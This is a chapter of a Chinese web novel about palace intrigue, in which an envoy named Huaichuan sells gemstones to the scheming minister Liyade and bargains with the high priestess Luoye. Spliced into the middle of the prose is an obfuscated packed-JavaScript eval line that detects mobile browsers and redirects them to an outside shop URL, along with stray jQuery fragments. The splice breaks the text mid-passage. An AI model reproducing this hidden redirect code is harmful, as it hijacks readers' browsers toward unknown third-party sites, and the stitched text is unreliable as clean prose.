“有人买?”利亚德斜靠在躺椅上,听到这话坐起来。
他脸色苍白,也觉得自己虚弱了不少,虽然那天才吞下那块该死的海绵,他就立刻去催吐了,一番天翻地覆,总算把那要命的东西吐出来,但他总怀疑残留了点儿,这几天吃不好睡不好,照镜子自己觉得苍白消瘦,找医生吧,又看不出什么事儿来。
也不敢大张旗鼓找——才和皇帝喝完酒,你病了?是不是说酒有问题?
此时听到手下来报那矿脉有了买家,精神了点儿,一咕噜坐起来了。
他肯定不愿意一直攥在手里,不只是他的钱在里头,那帮贵族的钱也都在这里,他们给他的压力可不少。这些人支持他做财务大臣,就是为了他是安洁莉娅的舅舅,方便互惠互利。利亚德可太明白了,这帮风度翩翩笑容满面的家伙肚子里的坏水可比他给安洁莉娅的酒还要毒。
“买家什么背景,”喜悦过去,利亚德狐疑道,“能吃的下这矿,这样的人我们不该不认识。”
手下犹犹豫豫说了一个名字,利亚德“啊?”了一声,甚至怀疑自己没听清,手下又说了一遍,还真不认识。
“说是海外来的。”手下解释。
哦,利亚德往背后一靠,这就好理解了,刚他还以为自己被毒到听力出问题了。
“这什么名字,怪里怪气的,”利亚德撇撇嘴,“异族人?”
手下觑着他脸上神色有些轻蔑,怕利亚德觉得自己什么阿猫阿狗都来告诉他,浪费了他时间,赶紧开始为这个海外来客站台了。
“说是在他的家乡,这名字是不息的流水的意思,寓意富贵不竭。”
“够贪心的。”利亚德评论。
手下一边腹诽轮得到您去说人家贪心吗,一边讨好的笑道:“是个极有风仪的美男子,听说是一位女大公身边的人——听说他的主人想要去往更高的地方,需要钱财做通天梯。”
后半句话他轻声说,看到利亚德不由自主轻轻颔首,知道这位海外来客的身份已经引起了利亚德的共鸣。
“能做准吗.......”利亚德喃喃道。
“大人啊,起码他的钱是真的。”手下劝说,一边给他呈上一个锦袋。利亚德看到就知道用料非常考究,难得手工精巧到如同真的,上头那只狼眼睛熠熠生辉,如同活的一般,真不知道怎么做的。
——印上去的,是小狼达莱的照片,熠熠生辉是刚因为吃了陆英行亲手做的苹果派,呕到双目含泪。
他打开,里头宝光闪烁,映红了他双目。
“都是好东西,”手下立刻补充,甚至还开了个玩笑,“我们接触过的,没人因为这宝石出事。”
一袋子货真价实的,拇指大的红宝石,火彩夺目。
“带他见我。”
“是。”
手下离开,利亚德瞥了一眼镜子里的自己,觉得面色都红润了。不仅仅是因为有买主,还因为这个买主代表的东西。
海外的女大公,他想。一条新的赚钱路径,就算这矿赔到底儿掉,新的希望也足以安抚他身后的那群人了。
而且......他更深的内心想......大陆是帝国的,但是海外有新天地,若有一天安洁莉娅或者那帮贵族要做什么,他也该有条退路。
他试着念了念那个买家的名字,觉得发音怪怪的。“淮川”?听起来是这个音调吗?他得多练练,显得自己是个热情好客的好主人。人嘛,第一印象总是重要的,他看起来和蔼些,获得此人好感,还能多坑些好处也说不定。
数日前,奈芙就询问了淮川是否愿意去帕拉海姆为她周旋,但她看着淮川神色,有点诧异。
“你不愿意吗?”她问。
淮川柔和的笑,晚风拂过他额角的碎发:“怎么会呢,你之前只让他们两个小孩子去,我才不愿意。”
“你也是小孩子。”奈芙笑他。
“对你来说我总是那个小孩是吗,”淮川注视她,声音转低,“我不像阿德里安陛下,又美又有权力......所以很怕你抛下我。”他把面颊贴在奈芙一只手上,轻轻摩挲。
“怎么会呢......”她说,“怎么,最近受了阿德里安的气?”
“没什么,”淮川的语调轻柔,“你带走了人,他又不能生你的气。”
所以偶尔会在他去见他的时候夹枪带棒的。
“不说这个,让你烦心了——那些小孩子过得不错,”他抬头对她说,“在学校里,有安波和派肯金他们照看着,就是希望再见见你。”
奈芙知道淮川的意思,他是希望她的眼光转到他身上。但是她为什么要介意呢?他能给她安慰,又能为她分忧,她真心喜欢和他在一起,轻松愉快。
于是她真情实感的叹口气:“你不知道这段时间我多想你。”
他们俩一起静静地坐了一会儿,终于淮川问她了:“你把东西买回来,储藏在哪里呢?”
这倒真是个问题。
那批矿只能放在魔界,因为还真和她自己有点关系。奈芙在跨越时空界面的时候,曾以自己血肉为质,让自己方便出入,这点血肉融合了这个时空的力量,吸收了人们的欲望与罪孽,居然沉淀在这个矿脉里,形成了结晶。那些人类受不了这样的力量,才会疯傻,安洁莉娅其实倒是真不用怕那些粉末,她与奈芙有盟约,那些东西伤不到她。
但这批散发着自己能量的矿大批量的出现在魔界,能放在哪儿?
“昂德法尔山,”奈芙沉思道,“只能放在那里,看看这两种宝石能否互相转换吧。”
这么一想,昂德法尔山就要放几个自己人了。
“加布里埃尔可以吗?要他带几个放心的孩子去。”淮川提议道。
奈芙点点头。加布里埃尔现如今也算能带一批人了,他正是本家血脉,放在那里也不会显眼,最好,还能在那里练一练兵就好了,带出一支小小队伍来,更让她放心。
他们这里说了几句正事,奈芙终于想起来:“阿德里安还在生气吗?”
淮川点点头:“你要去见他?”
“去进货,色欲之国盛产珍奇宝物。”奈芙笑道,却把他也一起拽上,淮川明显是个想说什么的样子,但他还是抿住嘴唇,只是用他沉静的黑眼睛看奈芙。
“不带你去找他,我也不能太刺激阿德里安……你去开我的私库吧,火辉石也好,又或者黄金宝石香料丝绸,多带点儿去帕拉海姆,不要委屈了自己。”
“也给应宣他们送点儿去。”
淮川顺手抓了桌上的一个小袋子掂了掂,那里头正好装了些火辉石,凡人不会认得,只会把这璀璨红石当做红宝石。袋子还是时夜亲手做来送给小狼的,上头拓印了达莱小相,龇牙咧嘴狼目含泪的。奈芙还很是感慨了一番时夜的多才多艺,当时淮川推推眼镜,平静的告诉她是因为穷的,时夜曾干过类似的活儿赚钱。
奈芙询问的眼光落在淮川手中:“干嘛用这个袋子,这照片里达莱都要哭了。”
“可是看起来是威风凛凛的狼头,旁人看不出它要哭,就当是家族徽章——既然说是贵族手下,总要有个家徽,”淮川慢条斯理地说,“回头我再去找时夜买一批,瑟莱萨陛下应该会愿意给我个公道的价格,她向来喜欢和我说话。”
他一边说,一边长长睫毛下,轻描淡写飞了个眼风,简直是故意要奈芙吃醋的意思。
奈芙的手滑落到他腰间:“也就只能说话了,瑟莱萨是负担不起你的……”
“这并非人人都负担得起的,产量也极少,”现在,淮川坐在利亚德对面,火辉石在他面前闪烁生辉,“出产于我主的领地深处,开采需要耗费巨量人力物力,然而…..”
他缓慢的从利亚德面前拿走几颗,捏在手中把玩,注意到利亚德的眼神被他的动作牵引。
“我想这很值得。”
淮川轻轻倚靠在椅背上,黑眼睛幽深。
“若非珍惜罕有,如何彰显我主身份尊贵、地位崇高?”
“她既然是第一亲王,自然有资格佩戴,将来若是更进一步,这就更不算什么了……不过是玩意儿,她并不把这些小东西看得珍贵。”他紧盯着利亚德,徐徐叙述。
东西有多好不重要,重要的是难得、稀少——以及它代表的意思。只有最高权力者有权力享受,让它的光芒作为权力一点微不足道的点缀。
利亚德想要。
他想,大概其他人也想要,但他甚至不太愿意给他们……凭什么呢?难道不是只有他,身为神圣的皇帝的亲舅舅,地位尊贵的财政大臣才能用吗?那些贵族们,只是仗着有个古老的姓氏,他们看起来那么强大,但他知道他们虚浮的好像棉花,遇到点事儿就像沾了水那样,一下就沉底了,还不是得靠他……
“我主慷慨,愿意把这些赠予她的朋友,她相信她的朋友也会回馈同样的尊重和礼遇的。”
淮川继续说话了。
“她很爱交朋友,她的朋友也总是给予她很多爱和支持。”
淮川又放下了那些宝石,让利亚德盯着。
“说到底也只是一些石头罢了……我想您应该也知道,不过是一些石头罢了。”
重要的是能握着这些石头的人,她能给这个,还能给更多,当然利亚德也可以选择这就把这个号称是另一块大陆上来的家伙囚禁甚至杀死,以求夺取宝物,但这当然毫无意义。
他也需要朋友,需要朋友带来的东西。
“很巧,我也认识一些朋友,我想您也会对他们感兴趣的。”利亚德轻轻转动拇指上硕大的戒指,那钻石的宝光落在淮川的贝母镜框上,流水似的光晕在室内流动。
“郊外有一处很幽静的庄园,是专门供皇帝陛下游乐的,但皇帝正是我的外甥女,和我的感情很深厚,想必并不介意我们在那里欣赏风景。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801741|207003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
利亚德前倾身体,提出邀请。
淮川一笑:“那么,说不定皇帝陛下会和我主有话聊呢。”
利亚德当然完全不愿意让安洁莉娅见到淮川,对他来说,淮川代表的这条生财之道最好攥在他一个人手上。而且,还说什么“有话聊”?他上下打量这位英俊的使者,心说我们皇帝不和你的主人抢人就不错了。
不过他只是一味笑而不语,显得高深莫测。
淮川知道他在想什么,在内心冷笑出声。他回忆起奈芙把他带到帕拉海姆,并且把他介绍给安洁莉娅和洛耶的时候,安洁莉娅那种目不斜视的端庄,看起来心思纯洁的像才出生没几天的羊羔子。甚至奈芙走的时候还对安洁莉娅说了一句“倒也不必那么紧张”。
“我会准备好宴席,等候您大驾光临。”最终,利亚德还是这么说。
淮川颔首,站起身自然地从门口的仆从手中接过大衣,从他替他拉开的门走出去了,并没有忘记点头致谢。对仆从致谢并不会减损他的地位,只能衬托出他们这个阶级独有的风度,尤其他是一位出类拔萃的美男子,这就更加增添他的风姿。
利亚德想那些人大概真有可能被他迷倒,或者被他代表的可能性迷倒。
怎么能让他和他更亲密一点就好了,利亚德琢磨起来。
可惜白楼的重建还要很久,那才是他自己的地方,现在,只能先用安洁莉娅的行宫了……
“他想要宴请我,”淮川说,“我想,你应该能给我一份可能的宾客名单,也会很乐意从我这里得到一份确定的宾客名单。”
他对面的人不是安洁莉娅,但也没差多少。
洛耶给淮川倒了一杯茶,茶色金红,热气袅袅。
洛耶能给淮川的名单是她和安洁莉娅认为是利亚德一党的人,这方便淮川提前做好准备,选定他想要下手的对象;而淮川能给的宾客名单和到场次序、座位远近都会说明更多,比如谁亲密谁疏远,谁需要拉拢安抚、谁可以直接消灭。
洛耶点点头:“如果可以的话,我很乐意得到你的名单。”
“当然可以,”淮川啜饮一口茶水,眼睫垂下来,“只要你可以付出合适的价钱。”
俩人沉默了一会儿,洛耶在打量淮川,淮川装作他不知道洛耶的打量。
“你想要什么——她想要什么?”洛耶问。
淮川双手交叠在腿上坐好:“别误会,这只是我的意思,她有大事要做,不需要在意这许多细节。”
“我知道她和你们二位的交情不错,但是一直以来都是她在为你们付出,你们为她奉献了什么呢?我可什么都没看到。但是交朋友不是这样的呀,大祭司,我想你受过很好的教育,应当明白这一点。”淮川带着笑温柔的说。
洛耶的肌肉紧张起来。他不好对付,她一看到他就知道了,他身上有她很不喜欢的气味,但他这人很有礼貌,长得又好,说起讨厌的话来,也叫人能理解,不反感。
“我会给您提供安全的住所和可用的人手。”洛耶说。
这简直是她和安洁莉娅势力的名单了。
“您提供的住所,呵,”淮川发出一个极其轻微的笑声,“没关系,这点钱财我还是有的,我可以自己买。”
洛耶立刻明白了他的意思,他指代的是那片街区,学校里的姑娘们在那里被拐、又被火烧,这种不安全的地方,也是洛耶提供的,所以,他不信任她,他要她用行动证明她的诚意。
“着火街区的修缮在进行中,如果学校想搬迁,我会提供新的地址,如果不愿意……”洛耶看着那张纹丝不动的笑脸,心里不想和他在小事上拉扯,“那么修缮好后,我会把搬迁费用折价补偿给你们指定的人,由此人决定如何使用,后续也会提供安全保障。”
淮川的笑容就更真诚了一点:“没关系,安全保障我想我们自己会解决的。”
“她当然会庇护我们,这就是我们的安全保障。”淮川说,而洛耶简直觉得淮川这话说得缱绻缠绵。
那就是说其他方面谈妥了,淮川站起来了,洛耶也站起来,要送送他,却见他已经自行开门走出去,站在门口回头望望神像。
“你们的神,”他说,“对你们好吗?”
这次论到洛耶笑起来了:“我们不用好坏来评判我们的神,我们不能,也不应该。”
“是吗,”淮川居然狡黠的眨了眨眼睛,“那她对你们好吗?”
“不......不好说。”洛耶本想脱口而出一句不好,中途又改了主意。
淮川像是听到了好笑话,刚刚脸上的假笑面具立刻融化了,露出了真面孔。他忍不住朗笑出声,背过身,对她挥挥手,走出了大门。
“大祭司,你是个有意思的人,我觉得,我们的合作会愉快的。”
洛耶目送他的身影离开,这才回身坐好,徐徐饮尽杯中茶水后,掏出手绢轻轻擦了擦鬓发中的汗珠。